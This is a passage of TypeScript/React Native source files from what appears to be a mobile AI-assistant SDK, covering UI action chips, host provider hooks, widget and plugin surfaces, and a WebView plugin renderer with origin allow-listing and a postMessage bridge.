fontSize: fontSize.xs,\n fontWeight: '500',\n color: ada.inkSoft,\n flexShrink: 1,\n },\n tool: {\n fontSize: fontSize.xs,\n color: ada.inkMuted,\n flexShrink: 2,\n },\n meta: {\n fontSize: fontSize.xs,\n color: ada.inkMuted,\n flexShrink: 0,\n },\n liveProgressRow: {\n flexDirection: 'row',\n alignItems: 'center',\n marginTop: 4,\n gap: 4,\n },\n liveProgressStep: {\n fontSize: fontSize.xs,\n fontWeight: '600',\n color: ada.inkMuted,\n },\n liveProgressMsg: {\n fontSize: fontSize.xs,\n color: ada.inkSoft,\n flex: 1,\n },\n progressTrack: {\n height: 2,\n borderRadius: 1,\n marginTop: 8,\n overflow: 'hidden',\n // Barely-there rail so the bar reads as a hint, not a status meter.\n backgroundColor: 'rgba(26, 20, 16, 0.05)',\n },\n progressFill: {\n height: '100%',\n width: '55%',\n borderRadius: 1,\n // Muted orange — present but recessive.\n backgroundColor: 'rgba(255, 122, 40, 0.4)',\n },\n});\n","// Renders the row of UI Action chips beneath an assistant bubble.\n// Payload comes from `message.actions[]` produced by the polisher and\n// validated by Core's `cp.uiActions_api`.\n//\n// Chips targeting a registered surface mount it directly via the surface\n// store. Everything else goes through the navigator registered with\n// setUIActionNavigator() when the host provided one (no router imports\n// here), or falls back to the built-in WidgetHost presenter — so chips open\n// widgets with zero host wiring.\n\nimport { View, Text, Pressable, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize } from '@ateam-ai-mobile/core';\nimport type { UIAction } from '@ateam-ai-mobile/core';\nimport { useSurfaceStore, getHaptics } from '@ateam-ai-mobile/plugin-runtime';\nimport { getUIActionNavigator } from '../providers';\nimport { openWidget } from '../plugin/WidgetHost';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nconst ICON_MAP: Record<string, string> = {\n timer: '⏱',\n memory: '🧠',\n calendar: '📅',\n home: '🏠',\n bell: '🔔',\n star: '⭐',\n bolt: '⚡',\n};\n\ninterface Props {\n actions: UIAction[];\n}\n\nexport default function UIActionsRow({ actions }: Props) {\n if (!Array.isArray(actions) || actions.length === 0) return null;\n\n const handlePress = (a: UIAction) => {\n getHaptics()?.selection();\n // Validator returns pluginId as the full id (\"mcp:connector:plugin\" for\n // solution plugins, \"platform:<name>\" for host platform screens). Fall\n // back to target (short id) only for debugging.\n const id = a.pluginId || a.target;\n if (!id) return;\n\n // Compute focus once; both branches use it.\n const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;\n\n // Host-rendered platform surfaces live in the surface store, not in the\n // dynamic plugin registry. Mount the registered drawer/fullscreen\n // directly — skip navigation (which would try getPlugin() and fail).\n const surface = useSurfaceStore.getState().manifests[id];\n if (surface) {\n // Thread the chip's opaque payload (e.g. { skillSlug } for platform:voice)\n // through to the surface as props, alongside focus — same shape the loop /\n // focusUiPlugin path delivers, so chip-tap and loop-open behave identically.\n // GENERIC: we don't interpret payload.data; the surface Component reads\n // what it understands.\n const props = { ...(focus ? { focus } : {}), ...(a.payload?.data || {}) };\n useSurfaceStore.getState().show(id, Object.keys(props).length ? props : undefined);\n return;\n }\n\n // Pass payload fields as params so the plugin can focus the relevant\n // entity on load (e.g. ?focus=rem_abc).\n const params: Record<string, string> = {};\n if (focus) params.focus = String(focus);\n if (a.intent === 'suggested_action' && a.payload?.tool) {\n params.tool = String(a.payload.tool);\n if (a.payload?.args) {\n try { params.args = JSON.stringify(a.payload.args); } catch {}\n }\n }\n if (a.intent === 'quick_toggle' && a.payload?.verb) {\n params.verb = String(a.payload.verb);\n }\n\n const navigate = getUIActionNavigator();\n if (navigate) {\n navigate({ pluginId: id, params });\n return;\n }\n // No host navigator — present via the built-in WidgetHost (mounted by\n // AdasChatScreen). Params ride along as engine props.\n openWidget(id, Object.keys(params).length ? params : undefined);\n };\n\n return (\n <View style={styles.row}>\n {actions.map((a, i) => {\n const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;\n return (\n <Pressable\n key={`${a.target || 'a'}-${i}`}\n accessibilityRole=\"button\"\n accessibilityLabel={a.description || a.label}\n onPress={() => handlePress(a)}\n style={({ pressed }) => [styles.chip, pressed && styles.chipPressed]}\n >\n {icon ? <Text style={styles.icon}>{icon}</Text> : null}\n <Text style={styles.label} numberOfLines={1}>{a.label}</Text>\n </Pressable>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginTop: 10,\n },\n chip: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n paddingHorizontal: 12,\n paddingVertical: 6,\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n borderWidth: 1,\n borderRadius: 14,\n },\n chipPressed: {\n backgroundColor: ada.orange,\n },\n icon: {\n fontSize: 12,\n lineHeight: 14,\n },\n label: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n});\n","/**\n * Host integration points for @ateam-ai-mobile/ui — same DI pattern as\n * @ateam-ai-mobile/plugin-runtime's host.ts. Everything has a safe default; the host\n * (or @ateam-ai-mobile/expo) wires real implementations at startup.\n */\nimport type { ReactNode } from 'react';\n\n// ── Native OAuth (Google / Apple id_token acquisition) ──────────────────────\n// The relocated auth screens (LoginScreen / JoinScreen / OpenJoinScreen) render\n// the generic sign-in presentation, but acquiring the provider id_token is a\n// NATIVE step — @react-native-google-signin + expo-apple-authentication — that\n// must never enter this package. The host (via @ateam-ai-mobile/expo) wires a\n// provider once at startup; the screens call getOAuthProvider() internally.\n//\n// This ONE method set replaces the per-screen acquire callbacks. signInWithGoogle\n// takes an optional { webClientId, iosClientId }: LoginScreen passes the tenant's\n// configured client ids; JoinScreen / OpenJoinScreen pass nothing, so the host\n// uses its bundled GOOGLE_IOS_CLIENT_ID. Both return null on a user-cancel\n// (SIGN_IN_CANCELLED / IN_PROGRESS / ERR_REQUEST_CANCELED) and throw on a real\n// failure. The Apple availability probe + the official HIG button come off the\n// same provider so expo-apple-authentication never enters ui/src and no\n// look-alike button is ever drawn.\n\nexport interface OAuthGoogleConfig {\n webClientId?: string;\n iosClientId?: string;\n}\n\nexport interface OAuthProvider {\n /** Acquire a Google OIDC id_token. `cfg` present → tenant client ids; absent → host bundled id. Null on user-cancel. */\n signInWithGoogle(cfg?: OAuthGoogleConfig): Promise<string | null>;\n /** Acquire an Apple id_token. Null on user-cancel. */\n signInWithApple(): Promise<string | null>;\n /** AppleAuthentication.isAvailableAsync() (iOS 13+); resolves false everywhere else. Async so the screen probes in an effect, never renders a stale false. */\n isAppleAvailable(): Promise<boolean>;\n /** The real Apple HIG button as a slot — the screen decides WHEN to show it + supplies its layout `style`, the host supplies the native node + HIG chrome. */\n renderAppleButton(props: { onPress: () => void; disabled: boolean; style?: unknown }): ReactNode;\n}\n\nlet _oauth: OAuthProvider | null = null;\n\n/** Register a native OAuth implementation (e.g. via @ateam-ai-mobile/expo). */\nexport function setOAuthProvider(oauth: OAuthProvider | null): void {\n _oauth = oauth;\n}\n\nexport function getOAuthProvider(): OAuthProvider | null {\n return _oauth;\n}\n\n// ── Clipboard ──────────────────────────────────────────────────────────────\n\nexport interface ClipboardProvider {\n setString(text: string): Promise<void>;\n}\n\nlet _clipboard: ClipboardProvider | null = null;\n\n/** Register a clipboard implementation (e.g. expo-clipboard via @ateam-ai-mobile/expo). */\nexport function setClipboardProvider(clipboard: ClipboardProvider | null): void {\n _clipboard = clipboard;\n}\n\nexport function getClipboard(): ClipboardProvider | null {\n return _clipboard;\n}\n\n// ── UI-action navigation ───────────────────────────────────────────────────\n// Chips with a plugin target need to open the host's plugin screen. The SDK\n// never imports a router — the HOST owns navigation and registers a handler\n// (e.g. Expo Router: router.push({ pathname: '/plugin/[id]', params })).\n\nexport interface UIActionRoute {\n /** Full plugin id, e.g. \"mcp:connector:plugin\" or \"platform:<name>\". */\n pluginId: string;\n /** Query params the plugin reads on load (focus, tool, args, verb). */\n params: Record<string, string>;\n}\n\ntype UIActionNavigator = (route: UIActionRoute) => void;\n\nlet _navigator: UIActionNavigator | null = null;\n\nexport function setUIActionNavigator(navigate: UIActionNavigator | null): void {\n _navigator = navigate;\n}\n\nexport function getUIActionNavigator(): UIActionNavigator | null {\n return _navigator;\n}\n\n// ── Plugin WebView extra allowed hosts ─────────────────────────────────────\n// The plugin WebView allow-list is derived from the SDK config (core + voice\n// URLs). Hosts with additional trusted services plugins navigate to (e.g. a\n// relay) register a getter returning extra URLs; resolved live per check.\n\ntype ExtraHostsGetter = () => string[];\n\nlet _extraHosts: ExtraHostsGetter | null = null;\n\nexport function setPluginWebViewExtraHosts(getter: ExtraHostsGetter | null): void {\n _extraHosts = getter;\n}\n\nexport function getPluginWebViewExtraHosts(): ExtraHostsGetter | null {\n return _extraHosts;\n}\n","/**\n * WidgetHost — zero-config widget presenter.\n *\n * The glue that makes chips and the agent able to open widgets without any\n * host wiring:\n *\n * - `openWidget(pluginId, opts)` — imperative open from anywhere. Surfaces\n * registered in the surface store (host surfaces, platform-declared\n * surfaces) mount through the surface registry; everything else is\n * presented here as a fullscreen PluginSurface (manifest fetched lazily).\n * - Chip taps: UIActionsRow falls back to openWidget() when the host hasn't\n * registered a custom navigator via setUIActionNavigator().\n * - Server/agent proactive open: listens for the chat stream's\n * `focus-plugin` event (sys.focusUiPlugin(pluginId, props) on the engine\n * side) and presents the widget, forwarding the engine props.\n *\n * <AdasChatScreen /> mounts a WidgetHost automatically — drop-in hosts get\n * the full chips→widgets and agent→widgets experience for free. Custom\n * layouts render <WidgetHost /> once near the app root (mounting it twice is\n * safe: both instances read the same store, last-closed wins).\n */\nimport { useEffect } from 'react';\nimport { create } from 'zustand';\nimport { pluginCommandEmitter } from '@ateam-ai-mobile/core';\nimport { useSurfaceStore } from '@ateam-ai-mobile/plugin-runtime';\nimport PluginSurface from './PluginSurface';\n\ninterface WidgetHostState {\n pluginId: string | null;\n /** Engine/chip-supplied props forwarded to the plugin as PluginProps.props. */\n props?: any;\n open: (pluginId: string, props?: any) => void;\n close: () => void;\n}\n\nexport const useWidgetHostStore = create<WidgetHostState>((set) => ({\n pluginId: null,\n props: undefined,\n open: (pluginId, props) => set({ pluginId, props }),\n close: () => set({ pluginId: null, props: undefined }),\n}));\n\n/**\n * Open a widget by plugin id. Host surfaces registered in the surface store\n * take priority (they own their chrome); everything else is presented as a\n * fullscreen PluginSurface by the mounted <WidgetHost />.\n */\nexport function openWidget(pluginId: string, props?: any): void {\n const surfaces = useSurfaceStore.getState();\n if (surfaces.manifests[pluginId]) {\n surfaces.show(pluginId, props);\n return;\n }\n useWidgetHostStore.getState().open(pluginId, props);\n}\n\nexport default function WidgetHost() {\n const pluginId = useWidgetHostStore(s => s.pluginId);\n const props = useWidgetHostStore(s => s.props);\n const close = useWidgetHostStore(s => s.close);\n\n // Agent-driven proactive open: sys.focusUiPlugin(pluginId, props) flows\n // through the chat stream → core emits 'focus-plugin' → present it.\n useEffect(() => {\n return pluginCommandEmitter.on('focus-plugin', (data: any) => {\n if (data?.pluginId) openWidget(String(data.pluginId), data.props);\n });\n }, []);\n\n if (!pluginId) return null;\n\n return (\n <PluginSurface\n key={pluginId}\n pluginId={pluginId}\n surface={{ type: 'fullscreen' }}\n dismiss={close}\n props={props}\n />\n );\n}\n","/**\n * PluginSurface — universal mount that wraps any platform-declared plugin\n * (iframe or React Native) inside the right Ada-themed surface container.\n *\n * Mounted when an `engine` or `user` event activates a platform plugin that\n * declared a `surface` field in its manifest. Picks SurfaceDrawer or\n * SurfaceFullscreen based on `surface.type`, fetches the full PluginManifest\n * lazily, and renders <Plugin /> inside the body.\n */\nimport { useEffect, useState } from 'react';\nimport { View, ActivityIndicator } from 'react-native';\nimport { ada } from '@ateam-ai-mobile/core';\nimport {\n getPlugin,\n SurfaceDrawer,\n SurfaceFullscreen,\n type PluginSurfaceMeta,\n} from '@ateam-ai-mobile/plugin-runtime';\nimport type { PlatformPluginManifest as PluginManifest } from '@ateam-ai-mobile/plugin-runtime';\nimport Plugin from './Plugin';\n\ninterface Props {\n pluginId: string;\n surface: PluginSurfaceMeta;\n dismiss: () => void;\n /** Engine-supplied props forwarded from sys.focusUiPlugin(id, props). */\n props?: any;\n}\n\nexport default function PluginSurface({ pluginId, surface, dismiss, props }: Props) {\n const [manifest, setManifest] = useState<PluginManifest | null>(null);\n const [error, setError] = useState<string | null>(null);\n\n useEffect(() => {\n let cancelled = false;\n getPlugin(pluginId)\n .then(m => { if (!cancelled) m ? setManifest(m) : setError('Plugin not found'); })\n .catch(e => { if (!cancelled) setError(e?.message || 'Failed to load'); });\n return () => { cancelled = true; };\n }, [pluginId]);\n\n const body = manifest ? (\n <Plugin id={pluginId} manifest={manifest as any} props={props} />\n ) : (\n <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center', padding: 24 }}>\n {error ? null : <ActivityIndicator color={ada.orange} />}\n </View>\n );\n\n if (surface.type === 'fullscreen') {\n return (\n <SurfaceFullscreen\n visible={true}\n onClose={dismiss}\n status={surface.title}\n showWordmark\n closeIcon=\"x\"\n closeLabel=\"Close\"\n >\n {body}\n </SurfaceFullscreen>\n );\n }\n\n // Default: drawer\n return (\n <SurfaceDrawer\n visible={true}\n onClose={dismiss}\n title={surface.title || pluginId}\n subtitle={surface.subtitle}\n privacy={!!surface.privacy}\n >\n {body}\n </SurfaceDrawer>\n );\n}\n","/**\n * <Plugin /> — unified plugin renderer.\n *\n * Auto-detects native vs webview, provides bridge/theme/context, wraps in an\n * error boundary.\n *\n * Usage:\n * <Plugin id=\"mcp:connector:plugin-name\" manifest={manifest} />\n */\nimport React, { useMemo } from 'react';\nimport { View, Text, Pressable, ActivityIndicator, StyleSheet } from 'react-native';\nimport { getTenant, getUser, colors } from '@ateam-ai-mobile/core';\nimport {\n usePlugin,\n useNativeBridge,\n usePluginTheme,\n resolvePluginRuntimeProps,\n type PluginContext,\n} from '@ateam-ai-mobile/plugin-runtime';\nimport EmbeddedPluginWebView from './EmbeddedPluginWebView';\n\n// ── Error Boundary ──────────────────────────────────────────\n\ninterface ErrorBoundaryState {\n hasError: boolean;\n error: Error | null;\n}\n\nclass PluginErrorBoundary extends React.Component<\n { pluginId: string; children: React.ReactNode },\n ErrorBoundaryState\n> {\n state: ErrorBoundaryState = { hasError: false, error: null };\n\n static getDerivedStateFromError(error: Error) {\n return { hasError: true, error };\n }\n\n componentDidCatch(error: Error, info: React.ErrorInfo) {\n console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);\n }\n\n render() {\n if (this.state.hasError) {\n return (\n <View style={styles.error}>\n <Text style={styles.errorTitle}>Plugin Error</Text>\n <Text style={styles.errorMessage}>\n {this.state.error?.message || 'An unexpected error occurred'}\n </Text>\n <Pressable\n style={styles.retryBtn}\n onPress={() => this.setState({ hasError: false, error: null })}\n >\n <Text style={styles.retryText}>Retry</Text>\n </Pressable>\n </View>\n );\n }\n return this.props.children;\n }\n}\n\n// ── Plugin Component ─────────────────────────────────────────\n\ninterface PluginRendererProps {\n /** Full plugin ID, e.g. \"mcp:connector-id:plugin-name\" */\n id: string;\n /** Plugin manifest (from API) */\n manifest: any;\n /** Shared command buffer from parent — captures commands before plugin mounts */\n commandBufferRef?: React.MutableRefObject<any[]>;\n /** Engine-supplied props from sys.focusUiPlugin(id, props) — forwarded to\n * the plugin Component as `PluginProps.props`. */\n props?: any;\n}\n\nexport default function Plugin({ id, manifest, commandBufferRef, props: engineProps }: PluginRendererProps) {\n // Load the plugin component (handles cache, download, eval)\n const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);\n\n // Extract connectorId from MCP plugin ID: mcp:<connector>:<plugin>\n const connectorId = id.startsWith('mcp:') ? id.split(':')[1] : manifest._connectorId;\n\n // Wire up bridge, the gated device surface, theme.\n const bridge = useNativeBridge(id, connectorId, commandBufferRef);\n // ONE runtime contract — the SAME resolver every surface uses, so this drawer/\n // fullscreen mount gates device/native + deviceState identically to the\n // embedded mount. Memoized so the plugin Component doesn't re-render on a fresh\n // object every pass (useApi effects key off prop identity). The manifest is the\n // sole authority here (it is a required prop); `plugin` is read by the resolver\n // only when there is no manifest, so the loaded bundle never widens its grants.\n const { device, native, deviceState, voice } = useMemo(\n () => resolvePluginRuntimeProps({ pluginId: id, manifest: manifest as any, plugin: plugin as any }),\n [id, manifest, plugin],\n );\n const theme = usePluginTheme();\n\n // Build context from the host-owned identity\n const user = getUser();\n const context = useMemo<PluginContext>(() => ({\n tenant: getTenant(),\n pluginId: id,\n connectorId,\n user: user ? { id: user.actorId || '', name: user.name || '', roles: user.roles || [] } : undefined,\n }), [id, connectorId, user?.actorId, user?.name, user?.roles]);\n\n // Fallback: connector declared an RN component but didn't ship the bundle.\n // When the manifest also has an iframeUrl (adaptive mode), render the\n // WebView instead of an error screen. Must run AFTER all hook calls above\n // to keep hook order stable across renders.\n const iframeUrl = manifest?.render?.iframeUrl;\n if (bundleMissing && iframeUrl) {\n return <EmbeddedPluginWebView pluginId={id} manifest={manifest} commandBufferRef={commandBufferRef} />;\n }\n\n if (loading) {\n return (\n <View style={styles.center}>\n <ActivityIndicator size=\"small\" color={colors.dark.accent} />\n <Text style={styles.loadingText}>Loading plugin...</Text>\n </View>\n );\n }\n\n if (error || !plugin) {\n return (\n <View style={styles.center}>\n <Text style={styles.errorMessage}>{error || 'Plugin not found'}</Text>\n </View>\n );\n }\n\n const { Component } = plugin;\n return (\n <PluginErrorBoundary pluginId={id}>\n {/* `device` is canonical (R4); `native` is the deprecated alias — same\n gated object — so existing/remote plugin bundles keep working. */}\n <Component bridge={bridge} device={device} native={native} deviceState={deviceState} voice={voice} theme={theme} context={context} props={engineProps} />\n </PluginErrorBoundary>\n );\n}\n\n// ── Styles ───────────────────────────────────────────────────\n\nconst styles = StyleSheet.create({\n center: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.dark.bgPrimary,\n paddingHorizontal: 32,\n gap: 12,\n },\n loadingText: {\n color: colors.dark.textSecondary,\n fontSize: 14,\n },\n error: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.dark.bgPrimary,\n paddingHorizontal: 32,\n gap: 8,\n },\n errorTitle: {\n color: colors.dark.red,\n fontSize: 16,\n fontWeight: '600',\n },\n errorMessage: {\n color: colors.dark.textSecondary,\n fontSize: 14,\n textAlign: 'center',\n },\n retryBtn: {\n marginTop: 12,\n paddingHorizontal: 20,\n paddingVertical: 10,\n backgroundColor: colors.dark.accentSoft,\n borderRadius: 8,\n },\n retryText: {\n color: colors.dark.accent,\n fontSize: 14,\n fontWeight: '600',\n },\n});\n","import { useState, useMemo, useCallback, useEffect } from 'react';\nimport { View, Text, ActivityIndicator, StyleSheet, Platform } from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { getConfig, getCoreApiUrl, getVoiceApiUrl, getTenant, getToken, ada } from '@ateam-ai-mobile/core';\nimport { resolvePluginUrl, type PlatformPluginManifest as PluginManifest } from '@ateam-ai-mobile/plugin-runtime';\nimport { usePluginBridge, buildPluginBridgeJS } from './usePluginBridge';\nimport { getPluginWebViewExtraHosts } from '../providers';\n\ninterface Props {\n pluginId: string;\n manifest: PluginManifest;\n commandBufferRef?: React.MutableRefObject<any[]>;\n}\n\n/**\n * WebView renderer for iframe-mode plugins. The injected bridge JS makes\n * existing web plugins work unmodified; the origin guards below make sure\n * the JWT seeded into localStorage can never leave the trusted hosts.\n */\nexport default function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }: Props) {\n const [error, setError] = useState<string | null>(null);\n\n const token = getToken();\n const tenant = getTenant();\n\n // _connectorId from the manifest (set by cp.getContextPlugin) — same as\n // what the web PluginHost sends in init.\n const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);\n\n const url = resolvePluginUrl(manifest, tenant || undefined);\n // An error belongs to the URL that produced it: a new URL (a fresh signature,\n // a corrected tenant) gets a fresh load instead of the old error forever.\n useEffect(() => { setError(null); }, [url]);\n const bridgeJS = buildPluginBridgeJS(token || '', tenant || '');\n\n // Hosts the plugin may navigate to — derived from the SDK config plus any\n // host-registered extras (e.g. a relay service). Resolved LIVE on every\n // read, never frozen at mount: config URLs can change after hydration and a\n // stale whitelist silently bounces plugin URLs out to the system browser\n // (a documented regression in the reference app).\n const computeAllowedHosts = useCallback((): Set<string> => {\n const hosts = new Set<string>();\n const urls = [getCoreApiUrl()];\n // voiceUrl is optional and may be a getter — resolve via getVoiceApiUrl()\n // (which throws when unset, so gate on the raw config first).\n if (getConfig().voiceUrl) urls.push(getVoiceApiUrl());\n try { urls.push(...(getPluginWebViewExtraHosts()?.() || [])); } catch { /* host getter threw */ }\n for (const u of urls) {\n try { hosts.add(new URL(u).hostname); } catch { /* ignore bad URL */ }\n }\n return hosts;\n }, []);\n\n const isAllowedPluginUrl = useCallback((rawUrl: string | undefined | null): boolean => {\n if (!rawUrl) return false;\n // about:blank, data:, file: — never allow off-origin navigation\n let parsed: URL;\n try { parsed = new URL(rawUrl); } catch { return false; }\n if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') return false;\n if (parsed.protocol === 'http:') return false; // belt-and-suspenders with mixedContentMode=never\n return computeAllowedHosts().has(parsed.hostname);\n }, [computeAllowedHosts]);\n\n const originWhitelist = useMemo(\n () => Array.from(computeAllowedHosts()).map(h => `https://${h}`),\n [computeAllowedHosts],\n );\n\n if (error) {\n return (\n <View style={styles.center}>\n <Text style={styles.errorText}>{error}</Text>\n </View>\n );\n }\n\n return (\n <View style={styles.container}>\n <WebView\n ref={webViewRef}\n source={{ uri: url }}\n style={styles.webview}\n javaScriptEnabled\n domStorageEnabled\n allowsInlineMediaPlayback\n mediaPlaybackRequiresUserAction={false}\n // SECURITY:\n // mixedContentMode=never → block any plain HTTP load inside the WebView.\n // originWhitelist → only the ADAS-owned hosts.\n // onShouldStartLoadWithRequest → reject navigation off allowlisted hosts.\n // setSupportMultipleWindows / javaScriptCanOpenWindowsAutomatically\n // → prevent window.open() from spawning a WebView that inherits\n // the bridge but skips the origin guard.\n // allowsBackForwardNavigationGestures=false\n // → a user gesture must not be a way out of the sandbox.\n // The bridge writes the JWT into the WebView's localStorage; these\n // guards make sure it can never leave the trusted origins.\n mixedContentMode=\"never\"\n originWhitelist={originWhitelist}\n allowsBackForwardNavigationGestures={false}\n setSupportMultipleWindows={false}\n javaScriptCanOpenWindowsAutomatically={false}\n onShouldStartLoadWithRequest={(req) => {\n if (!isAllowedPluginUrl(req.url)) {\n console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);\n return false;\n }\n return true;\n }}\n injectedJavaScriptBeforeContentLoaded={bridgeJS}\n onMessage={handleMessage}\n onLoad={() => {\n // Send init with retries to beat the race condition\n setTimeout(sendInit, 100);\n setTimeout(sendInit, 500);\n setTimeout(sendInit, 1200);\n }}\n onError={(syntheticEvent) => {\n const { nativeEvent } = syntheticEvent;\n console.warn('[EmbeddedPluginWebView] Error:', nativeEvent.description);\n setError(`WebView error: ${nativeEvent.description}`);\n }}\n onHttpError={(syntheticEvent) => {\n const { nativeEvent } = syntheticEvent;\n console.warn('[EmbeddedPluginWebView] HTTP error:', nativeEvent.statusCode, nativeEvent.url);\n if (nativeEvent.statusCode >= 400) {\n setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);\n }\n }}\n startInLoadingState\n renderLoading={() => (\n <View style={styles.webviewLoading}>\n <ActivityIndicator size=\"small\" color={ada.orange} />\n <Text style={styles.loadingText}>Loading plugin...</Text>\n </View>\n )}\n {...(Platform.OS === 'ios' ? { bounces: false } : {})}\n />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n center: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: ada.paper,\n paddingHorizontal: 32,\n },\n errorText: {\n color: '#C15545',\n fontSize: 16,\n textAlign: 'center',\n },\n webview: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n webviewLoading: {\n position: 'absolute',\n top: 0,\n left: 0,\n right: 0,\n bottom: 0,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: ada.paper,\n gap: 12,\n },\n loadingText: {\n color: ada.inkSoft,\n fontSize: 14,\n },\n});\n","import { useCallback, useEffect, useRef } from 'react';\nimport {\n getTenant,\n connectorCall,\n mcpFetch,\n mcpToolCall,\n postCommandResult,\n pluginCommandEmitter,\n} from '@ateam-ai-mobile/core';\n\n/**\n * PostMessage bridge between the React Native host and a plugin WebView.\n * Implements the same protocol as PluginHost.jsx in the web frontend.\n *\n * Handles THREE communication paths:\n * 1. fetch(\"/mcp\") — intercepted in bridge JS, proxied through postMessage\n * 2. postMessage mcp-call — direct postMessage from plugin SDK\n * 3. plugin commands — routed from the job stream to the WebView\n */\nexport function usePluginBridge(\n pluginId: string,\n connectorId?: string,\n commandBufferRef?: React.MutableRefObject<any[]>,\n wsRef?: { current: WebSocket | null },\n) {\n // Loosely typed on purpose: react-native-webview's generic class type\n // resolves JSX props to `never` under React 19 typings when used as a\n // useRef parameter. Runtime shape is the WebView instance (postMessage).\n const webViewRef = useRef<any>(null);\n\n // Send init message to plugin (mirrors web PluginHost sendInit)\n const sendInit = useCallback(() => {\n const msg = JSON.stringify({\n source: 'adas-host',\n pluginId,\n message: {\n type: 'init',\n payload: {\n tenant: getTenant(),\n connectorId: connectorId || null,\n mcpEndpoint: null,\n slug: null,\n skillSlug: null,\n },\n },\n });\n webViewRef.current?.postMessage(msg);\n }, [pluginId, connectorId]);\n\n // Send result back to plugin WebView\n const sendToPlugin = useCallback(\n (type: string, payload: any) => {\n const msg = JSON.stringify({\n source: 'adas-host',\n message: { type, payload },\n });\n webViewRef.current?.postMessage(msg);\n },\n [],\n );\n\n // Helper to dispatch a command to the WebView plugin\n const dispatchToWebView = useCallback((cmd: any) => {\n if (cmd.command === '__focus') return; // Focus-only, handled by the host screen\n const msg = JSON.stringify({\n source: 'adas-host',\n pluginId,\n message: {\n type: 'plugin.command',\n payload: {\n command: cmd.command,\n args: cmd.args,\n correlationId: cmd.correlationId,\n },\n },\n });\n webViewRef.current?.postMessage(msg);\n }, [pluginId]);\n\n // ── Listen for live plugin commands from the job stream ──\n useEffect(() => {\n const unsub = pluginCommandEmitter.on('plugin-command', (cmd: any) => {\n if (cmd.pluginId !== pluginId) return;\n dispatchToWebView(cmd);\n });\n return unsub;\n }, [pluginId, dispatchToWebView]);\n\n // ── Flush buffered commands when the WebView loads ──\n useEffect(() => {\n if (!commandBufferRef) return;\n // Flush after a delay to let the iframe initialize\n const timer = setTimeout(() => {\n const buf = commandBufferRef.current;\n const remaining: any[] = [];\n for (const cmd of buf) {\n if (cmd.pluginId === pluginId) {\n dispatchToWebView(cmd);\n } else {\n remaining.push(cmd);\n }\n }\n commandBufferRef.current = remaining;\n }, 1000);\n return () => clearTimeout(timer);\n }, [pluginId, commandBufferRef, dispatchToWebView]);\n\n // Handle messages from plugin WebView\n const handleMessage = useCallback(\n async (event: { nativeEvent: { data: string } }) => {\n let data: any;\n try {\n data = JSON.parse(event.nativeEvent.data);\n } catch {\n return;\n }\n\n if (data.source !== 'adas-plugin') return;\n\n const action = data.message?.action || data.action;\n const payload = data.message?.payload || data.payload;\n const type = data.message?.type || data.type;\n\n // -----------------------------------------------------------------\n // 1. Intercepted fetch(\"/mcp\") — proxy to Core backend\n // -----------------------------------------------------------------\n if (action === 'mcp-fetch' && payload?.requestId) {\n const { requestId, body } = payload;\n try {\n const result = await mcpFetch(body);\n sendToPlugin('mcp-fetch-result', { requestId, result, error: null });\n } catch (err: any) {\n console.warn('[PluginBridge] mcp-fetch ERROR:', err.message);\n sendToPlugin('mcp-fetch-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // -----------------------------------------------------------------\n // 2. PostMessage mcp-call — plugin SDK's callTool()\n // a) toolName present (e.g. \"cp.fe_api\") → JSON-RPC to /mcp\n // b) direct connectorId/tool → /api/connectors/:id/call\n // -----------------------------------------------------------------\n if (action === 'mcp-call' && payload?.requestId) {\n const { requestId, toolName, args: callArgs } = payload;\n\n // Path A: JSON-RPC tool call (cp.fe_api, cp.admin_api, etc.)\n if (toolName) {\n try {\n const rpcResponse = await mcpToolCall(toolName, callArgs || {});\n // Unwrap the JSON-RPC envelope — plugin expects { content: [...] }\n const result = rpcResponse?.result ?? rpcResponse;\n sendToPlugin('mcp-result', { requestId, result, error: null });\n } catch (err: any) {\n sendToPlugin('mcp-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // Path B: direct connector call (connectorId + tool). The plugin may\n // send connectorId/tool at payload level OR nested in args.\n const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;\n const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;\n const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};\n\n if (!cId || !tool) {\n console.error(`[PluginBridge] mcp-call missing params — connectorId: ${cId}, tool: ${tool}`);\n sendToPlugin('mcp-result', { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });\n return;\n }\n\n try {\n const data = await connectorCall(cId, tool, toolArgs);\n if (data.ok) {\n sendToPlugin('mcp-result', { requestId, result: data.result, error: null });\n } else {\n sendToPlugin('mcp-result', { requestId, result: null, error: data.error || 'MCP call failed' });\n }\n } catch (err: any) {\n sendToPlugin('mcp-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // -----------------------------------------------------------------\n // 3. Plugin self-close — return to chat\n // -----------------------------------------------------------------\n if (action === 'close') {\n 